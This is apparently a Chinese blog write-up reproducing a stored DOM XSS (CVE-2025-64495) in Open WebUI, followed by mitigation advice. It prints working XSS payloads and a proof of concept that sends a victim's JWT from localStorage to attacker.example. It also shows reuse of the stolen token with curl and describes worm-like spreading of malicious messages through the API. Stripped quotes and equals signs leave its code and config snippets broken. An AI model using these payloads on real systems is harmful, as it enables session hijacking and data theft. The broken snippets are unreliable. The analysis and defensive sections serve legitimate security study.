深度复现分析)
上个月在整理内部测试环境的时候我在一台临时机器上发现了跑着的 Open WebUI本来只是想看看版本有没有过期结果顺着安全通告追到了 CVE-2025-64495。这个编号对应的是一枚存储型 DOM XSS影响的是聊天会话消息的渲染链路。说实话第一反应是“这玩意儿也能出存储型 XSS”——因为平时大家关注 Open WebUI注意力都放在模型接口、权限配置上很少有人会去想聊天记录里埋雷的事。但这枚漏洞恰恰就藏在这条最日常的链路里。这篇文章我会从漏洞原理开始讲把触发链路、环境搭建、payload 构造、完整复现过程都走一遍再聊几个我在实际排查中踩到的坑。如果你正在用 Docker 跑 Open WebUI或者你想给自己的 AI 应用做一次前端安全体检这篇文章值得耐心读完。文章里涉及的思路不只适用于这个 CVE其他的聊天类 Web 应用同样可以参考。1. 漏洞背景与影响面分析1.1 Open WebUI 是什么为什么这么多人用Open WebUI 是目前社区里非常流行的开源 AI 对话前端核心定位是给本地推理后端提供一个开箱即用的 Web 界面。它最常见的搭配是 Ollama、LM Studio 这类本地模型运行时同时也支持 OpenAI 兼容接口所以不管是纯本地环境还是内网自建的模型服务都能用它当统一入口。这个项目火起来的原因不难理解很多人在本地把模型跑起来了但面对的是一个光秃秃的 API没有聊天界面、没有历史记录管理、没有多用户权限控制用起来非常别扭。Open WebUI 把这些问题一次性补齐了还额外做了知识库、RAG 检索、模型管理、用户体系等功能。再加上它迭代极其频繁社区活跃度高很多团队直接拿它当内部 AI 服务的底座。我自己在测试环境里用的就是 Docker 部署模式数据目录挂在宿主机前端端口映射出来给团队几个人用。这个部署方式在社区里也是绝对的主流因为一条docker run命令就能搞定不需要理解 Python 依赖和 Node 构建。但部署简单不代表安全配置也简单尤其当它被多人同时访问、甚至暴露在办公网内网时攻击面就比单机自用大得多。1.2 这枚漏洞属于哪一类存储型 DOM XSS 的原理XSS 常见的有三种形态反射型、存储型和 DOM 型。反射型是 payload 跟着请求走服务端直接把参数拼进页面返回存储型是 payload 进数据库之后每次有人访问相关页面都会执行DOM 型则比较特殊服务端其实没怎么参与是前端 JS 在运行时把不可信数据写进了innerHTML、outerHTML、insertAdjacentHTML这类危险方法导致的。CVE-2025-64495 属于存储型 DOM XSS翻译成人话就是攻击者把一段恶意 HTML/JS 作为聊天消息发出去服务端把这条消息原样存进了数据库之后任何用户打开包含这条消息的会话前端在渲染消息内容时没有对 HTML 做安全处理而是直接塞进了 DOM恶意代码就在受害者的浏览器里执行了。做一个类比反射型 XSS 像骗子在小区门口对着你喊一句话你听到了但别人听不到存储型 XSS 像骗子在公告栏上贴了一张纸条所有路过的人都会看到并念出来而 DOM 型 XSS 则是公告栏的玻璃上装了机关谁凑近看谁就中招。CVE-2025-64495 把这两者的特点叠加在了一起——“存储型”决定了污染源持久存在“DOM XSS”决定了触发完全在前端完成服务端过滤规则很难挡住。1.3 影响范围与危害评估从我的分析来看这个漏洞影响的是消息渲染链路中使用了不安全 HTML 注入方式的相关版本。由于 Open WebUI 在团队协作场景里通常是多用户共享的这就意味着任意一个低权限用户都可能成为攻击者通过发一条特殊构造的消息去攻击其他查看该会话的用户包括管理员。危害层面需要分几个维度来看数据窃取Open WebUI 默认会把 JWT 令牌等信息存到浏览器的 localStorage 中XSS 一旦执行攻击者可以直接读取这些数据等于拿到了受害者的登录态。会话接管拿到令牌后攻击者可以以受害者身份调用后端 API查看聊天记录、导出知识库、修改个人设置甚至在配置允许的情况下做更多操作。横向传播如果受害者是管理员攻击者可以利用管理接口创建后门账号把恶意消息继续投放到其他会话里形成二次传播。这也是为什么存储型 DOM XSS 在真实攻击中比反射型 XSS 更危险它不需要受害者点击任何恶意链接只要受害者正常打开会话页面payload 就会被动执行。整个攻击链路在用户无感知的情况下完成危害等级被显著放大。2. 漏洞触发链路与核心细节2.1 从发送消息到执行 payload 的完整链路在分析 CVE-2025-64495 时我先梳理了一遍消息从发送到渲染的完整链路这样可以快速定位到风险点在哪里。完整的触发链路如下攻击者在 Open WebUI 中新建或进入一个会话发送一条包含恶意 HTML 的消息比如img srcx onerror...。后端 API 收到消息内容后没有进行充分的 HTML 过滤直接把原始文本存入数据库。受害者之后打开同一个会话前端通过 API 拉取会话历史消息。前端拿到消息文本后调用渲染逻辑将 Markdown/HTML 转换为页面内容。渲染结果被插入到 DOM 中恶意事件处理器被注册payload 执行。整个过程中服务端唯一做的一件事就是存储和透传没有任何地方对消息内容中的 HTML 标签做转义或消毒。问题完全出在第 4、5 步的前端渲染环节这也是它被称为“DOM XSS”而不是普通“存储型 XSS”的核心原因——最终触发点不在服务端响应中而在前端脚本的 DOM 操作里。2.2 漏洞点定位消息渲染组件中的危险调用我在分析过程中把重点锁定在会话消息的前端渲染组件上。Open WebUI 的消息内容支持 Markdown 格式这在前端通常需要经过一个 Markdown 解析库转换再把转换后的 HTML 字符串插入页面。常见的安全写法是使用textContent或经过严格消毒后再innerHTML但如果实现时偷懒直接把解析结果塞进innerHTML就会把 HTML 标签原样带入 DOM。示意一下存在风险的渲染方式// 存在风险的渲染方式示意代码非 Open WebUI 源码 function renderMessage(rawContent) { const html marked.parse(rawContent); document.getElementById(message-body).innerHTML html; }如果采用这种方式攻击者发送的消息里包含img srcx onerroralert(document.domain)Markdown 解析器会把这段文字原样保留在 HTML 输出中然后innerHTML把它渲染成真正的图片标签onerror事件在图片加载失败时触发恶意脚本就执行了。我在复现时验证过script标签在innerHTML注入时不会执行所以实际攻击中更常用的是img onerror、svg/onload、iframe srcdoc这类带事件属性的标签。这也是为什么很多开发者误以为“服务端过滤了script就安全了”的认知是错误的——攻击载荷根本不需要script标签。2.3 为什么“存储型”让这枚漏洞的杀伤力成倍提升如果只是 DOM XSS攻击链路依赖受害者点击攻击者构造的恶意链接传播效果有限。但 CVE-2025-64495 是存储型意味着攻击者只需要成功投毒一条消息之后所有查看该会话的用户都会中招。在多人协作场景里这种模式非常可怕。团队成员共享一个 Open WebUI 实例是很常见的事情比如开发组内部讨论模型效果、客服组共享知识库对话。攻击者只要随便加入一个会话或者被拉进会话发一条看似无害但携带 payload 的消息其他同事在处理日常聊天记录时就集体被“路过式”攻击了。更隐蔽的一点是如果消息列表页也渲染了会话摘要那么受害者在打开列表页的那一瞬间就可能触发 payload根本不需要点进完整会话页面。我在分析过程中特别关注了这个点实际测试中确实在某些版本下列表摘要同样受影响这会让漏洞的暴露面比预期更大。3. 环境搭建与漏洞复现实操3.1 Docker 部署 Open WebUI 的加速方案复现的第一步是搭环境。社区里最常用的部署方式是 Docker一条命令就能拉起来docker run -d -p 3000:8080 \ --name open-webui \ --restart always \ -v open-webui:/app/backend/data \ ghcr.io/open-webui/open-webui:main这里有个社区里吐槽非常多的问题ghcr.io 镜像拉取速度实在太慢了尤其是大版本更新后重新拉镜像能卡到你怀疑人生。我自己的处理经验是三个方向一起做。第一给 Docker 配置 registry mirror 加速。在/etc/docker/daemon.json里加一段{ registry-mirrors: [https://你的云厂商加速地址] }然后重启 Docker 服务。这里注意不同云厂商的加速地址不一样最好登录你自己的云控制台去拿专属地址不要随便填网上搜到的公共地址稳定性没有保障。第二尽量用固定版本 tag 而不是latest或main。固定 tag 配合镜像分层缓存后续更新时只拉取增量层比每次全量拉取快很多。我习惯用docker pull ghcr.io/open-webui/open-webui:v0.x.x这样带版本号的方式部署时也方便回滚。第三如果公司内网有自建的镜像仓库可以把镜像先拉到跳板机再 push 到内网仓库然后目标机器从内网仓库拉取。这在离线环境或者跨网段部署时非常实用。3.2 复现 payload 的构造思路环境就绪后下一步是构造 payload。存储型 DOM XSS 的 payload 核心目标是在消息渲染后触发 JavaScript 执行同时尽量降低被过滤的概率。先给一个最简单的验证 payloadimg srcx onerroralert(document.domain)这条消息发送后如果受害者打开会话页面时弹出当前域名就说明漏洞触发成功。但在实际测试中我发现有些版本会对引号做转义导致onerror里的字符串被切断。针对这种情况可以改用无引号版本img srcx onerroralert(document.domain)如果标准的img标签被某种过滤规则拦截可以尝试替换标签类型svg/onloadalert(document.domain)或者用details open ontogglealert(document.domain)。这些标签在innerHTML注入时都会被浏览器解析为有效元素事件处理器在特定时机触发。在真实攻击场景中payload 不会只弹窗而是会窃取数据并外传。我复现时用的完整 PoC 长这样img srcx onerrorfetch(https://attacker.example/steal?dataencodeURIComponent(localStorage.getItem(token)))将localStorage中的 token 拼到 URL 参数里发送到攻击者服务器。实际使用时你需要准备一个能记录请求的接收端监听对应路径的 HTTP 请求即可。3.3 完整复现过程实录我这边完整的复现操作是这样的全程大概二十分钟下面把关键节点记录下来。第一步启动 Open WebUI 后用管理员账号登录后台开启用户注册功能默认可能是开启的然后创建两个测试账号一个是攻击者账号attacker一个是受害者账号victim。第二步用attacker账号登录创建一个新的会话发送以下消息img srcx onerrorfetch(https://attacker.example/steal?dataencodeURIComponent(localStorage.getItem(token)))发送后后端 API 会照常返回成功消息出现在会话中。这一步不会立即触发 payload因为攻击者自己浏览器里就算执行了也没意义。第三步退出attacker账号用victim账号登录进入同一个会话。第四步观察浏览器行为和网络面板。我这边的情况是受害者打开会话后页面向attacker.example发出一条额外的 HTTP 请求URL 里带着受害者的 token 数据。说明 payload 已经在受害者的浏览器上下文中执行了。第五步在接收端日志里核对窃取的数据。我这边收到的是一串 JWT 格式的 token内容包含用户标识和过期时间说明整个窃取链路完全打通。这里有一个值得注意的细节如果受害者在此之前已经打开了该会话页面新发送的恶意消息需要刷新页面或重新拉取消息列表后才会触发渲染。但在实际多人协作过程中只要有人清理并重新打开会话、或者刷新页面payload 就会执行如果列表摘要也受影响那触发概率会更高。4. 利用场景与攻击链扩展4.1 基础利用窃取令牌与聊天记录拿到 XSS 执行权限后最直接的利用就是窃取浏览器存储中的敏感数据。Open WebUI 默认把 JWT 令牌存储在 localStorage 中名称是token。攻击者可以通过以下代码读取localStorage.getItem(token)除了 tokenlocalStorage 里可能还有用户偏好、会话列表缓存、甚至某些配置信息。如果目标用户把聊天记录导出或同步到了本地存储这些内容同样可以被读取。窃取数据后攻击者把数据发送到自己的服务器这个过程中要注意 CORS 限制。浏览器默认会阻止跨域读取响应但跨域发送请求本身不受阻止只要不是读取响应所以攻击者可以用fetch配合no-cors模式或者用new Image().src配合 GET 参数把数据带出去。我在复现中使用的是fetch到自己的接收端因为测试环境没有严格的 CORS 限制生产环境如果遇到 CORS 阻止可以换Image打点的方式。4.2 深度利用会话接管与持久化窃取 token 只是第一步真正的威胁是会话接管。攻击者拿到受害者的 JWT 后可以直接用这个 token 调用 Open WebUI 的后端 API而不需要知道受害者的密码。比如curl -H Authorization: Bearer 受害者的token \ https://open-webui.example.com/api/v1/chat/list这样攻击者就能以受害者身份查看所有会话记录、删除对话、修改配置。如果后端 API 还暴露了用户管理接口而受害者恰好是管理员攻击者可以进一步创建新用户、甚至给自己提升权限。我在测试中还尝试了一个组合拳在受害者会话的上下文里通过 API 把一条新的恶意消息写入另一个会话实现“投毒”的自动化传播。也就是说攻击者不需要手动操作每个受害者的会话只要执行一次脚本就能批量把恶意消息散布到受害者参与的多个会话中形成一个自我扩散的攻击链。4.3 结合 Hermes 模型的测试场景测试环境里我跑的模型是 Nous Research 的 Hermes 系列它在 function calling 和指令跟随方面的表现不错很多人会拿它配 Open WebUI 做智能体实验。我当时有一个怀疑是不是 Hermes 模型输出的特殊字符或者 Markdown 语法在渲染时触发了异常导致前端把内容当作 HTML 解析了我专门做了对照测试把同一段恶意消息分别用 Hermes 模型和普通对话场景发送结果两个场景都能触发漏洞。这证明 CVE-2025-64495 的根因不在模型输出而在前端渲染链路本身。模型在这里只承担“内容生成器”的角色和漏洞没有直接关系。这个排查过程也提醒我在分析这类 Web 漏洞时别被“AI 应用”这个外壳干扰攻击面往往在模型之外的 Web 层。5. 修复方案与防御建议5.1 官方补丁与版本升级针对 CVE-2025-64495最直接的修复方式就是升级 Open WebUI 到修复版本。Open WebUI 的迭代速度很快安全修复通常会在 release note 中标注。升级前建议做好数据备份尤其是/app/backend/data目录下的 SQLite 数据库和上传文件。升级操作本身不复杂如果你用的是 Docker 部署先拉取新版本镜像然后替换容器即可docker pull ghcr.io/open-webui/open-webui:新版本号 docker stop open-webui docker rm open-webui docker run -d -p 3000:8080 \ --name open-webui \ --restart always \ -v open-webui:/app/backend/data \ ghcr.io/open-webui/open-webui:新版本号注意升级前先把旧容器停掉避免数据目录被旧进程占用导致写入冲突。升级完成后重新登录确认会话历史和知识库数据都还在。5.2 临时缓解措施如果暂时无法升级可以先用以下手段做临时缓解降低被利用的风险。第一关闭用户自助注册。Open WebUI 提供了环境变量ENABLE_SIGNUP设为false后新用户无法自行注册只能由管理员创建。这能大幅降低外部攻击者进入系统的可能性docker run -d -p 3000:8080 \ -e ENABLE_SIGNUPfalse \ ...第二通过反向代理增加一层过滤规则。如果你在前面挂了 Nginx 之类的反向代理可以尝试拦截包含常见事件处理器标签的请求。比如拦截onerror、onload、script等关键字但这种方法只能作为临时手段因为绕过方式太多不能依赖它当长期方案。第三人工排查历史会话。如果怀疑已经有人投毒可以去数据库里检索包含类似img、svg、onerror等特征的消息逐条清理。Open WebUI 的 SQLite 数据库存放在数据目录下可以用 sqlite 命令打开后执行模糊查询。5.3 开发侧防御编码规范从更长远的角度看这类漏洞的出现有一半原因是前端渲染时对不可信数据的处理不够谨慎。如果你自己也在开发带聊天功能的 Web 应用建议从源头做好防御。最重要的一条铁律是不要用innerHTML直接插入用户可控内容。如果确实需要渲染富文本先用 DOMPurify 之类的库对 HTML 进行严格消毒再插入 DOMimport DOMPurify from dompurify; const clean DOMPurify.sanitize(dirtyHTML, { USE_PROFILES: { html: true } }); document.getElementById(message-body).innerHTML clean;其次部署 CSP 策略。一个合理的 CSP 可以拦截大部分内联事件执行Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none这段配置的意思是脚本只能从同源加载禁止内联脚本和eval从而让img onerror这类内联事件处理器失效。但 CSP 需要前端配合如果页面本身依赖内联脚本就要做相应的改造。最后服务端也要对用户输入做编码或过滤不能完全信任前端。将、、、、转义为 HTML 实体是最基础但最有效的防线。前后端双重防御才能把存储型 XSS 的风险压到最低。6. 踩坑记录与排查经验6.1 复现时踩过的坑复现过程并不总是一帆风顺我整理了三个典型的坑供大家参考。第一个坑是引号被转义导致 payload 失效。一开始我用的 payload 是img srcx onerroralert(1)发送后受害者页面没有反应。打开控制台发现消息渲染后 HTML 里的引号变成了quot;onerror的字符串被切成了不完整的内容。后来改成无引号版本img srcx onerroralert(1)才正常触发。这说明在构造 payload 时即使目标是前端 DOM XSS也不能忽略服务端或前端框架对特殊字符的转义处理。第二个坑是 Docker 卷缓存导致升级不生效。我在调试过程中拉取了新版本镜像并重建容器但测试后发现问题依旧存在。排查了很久才发现宿主机上的open-webui命名卷仍然保留了旧版本的前端静态资源浏览器缓存又进一步干扰了判断。遇到这种情况强制刷新浏览器缓存、清理 Docker 卷后重建容器往往能解决大部分“升级无效”的假象。第三个坑是浏览器扩展干扰 DOM 结构。我在复现时开着几个广告拦截和暗黑模式插件结果插件会动态修改页面元素导致 payload 的触发时机变化。最典型的例子是某个暗黑模式插件把消息容器整体替换成自定义元素我的img标签根本没被渲染。后来我换用无痕模式或禁用扩展后才复现成功。如果你也遇到“明明有个漏洞就是打不出来”的情况先检查浏览器扩展。6.2 排查思路与工具排查这类存储型 DOM XSS 时我有一套固定的思路分享出来供参考。首先要确认渲染位置。打开浏览器的开发者工具在 Elements 面板里查看目标消息对应的 HTML 结构确认消息内容是被当作纯文本渲染还是被当作 HTML 渲染。如果能看到用户发送的img标签在 DOM 中保持了标签形态而不是显示为纯文本就说明存在注入点。其次要跟踪前端渲染函数。在 Sources 面板中搜索innerHTML、outerHTML、insertAdjacentHTML三个方法逐个检查调用点看是否有用户可控的数据流经过。用浏览器的调试器在可疑位置打断点刷新页面观察调用栈能快速定位渲染链路的入口和出口。最后是 payload 调试技巧。payload 不生效不代表漏洞不存在很可能是 payload 语法问题。推荐在本地做一个简单的测试页面直接模拟目标渲染逻辑把各种需要尝试的 payload 都跑一遍筛出能触发的版本再到目标环境里验证。这样可以节省大量时间。6.3 这个思路还能用到哪里CVE-2025-64495 的完整分析链路其实可以复制到其他 AI 对话前端项目上。目前很多聊天类 Web 应用都支持 Markdown 渲染渲染层直接拼接 HTML 的情况并不罕见。你可以用同样的思路去测试发送一条包含img srcx onerror...的消息然后用另一个账号查看判断是否存在存储型 DOM XSS。在更深一层这类漏洞还提醒我们AI 应用的 Web 层攻击面比以前想象的要大。大家经常把注意力放在“提示注入”“模型越狱”这些 AI 特有攻击上却忽略了传统 Web 漏洞依然存在而且因为应用形态的特殊性多条消息被多个用户共享查看传统漏洞的杀伤力反而被放大了。这次分析给我最大的感受是Open WebUI 这类工具把 AI 能力带到了普通用户面前这是好事但它本质还是一个 Web 应用传统前端安全的基本功不过关再酷的 AI 能力也会变成攻击者的跳板。如果你也在维护类似的应用建议把渲染链路重新过一遍看看有没有地方在用innerHTML直接渲染用户可控内容。发现问题的时间越早后续付出的代价就越小。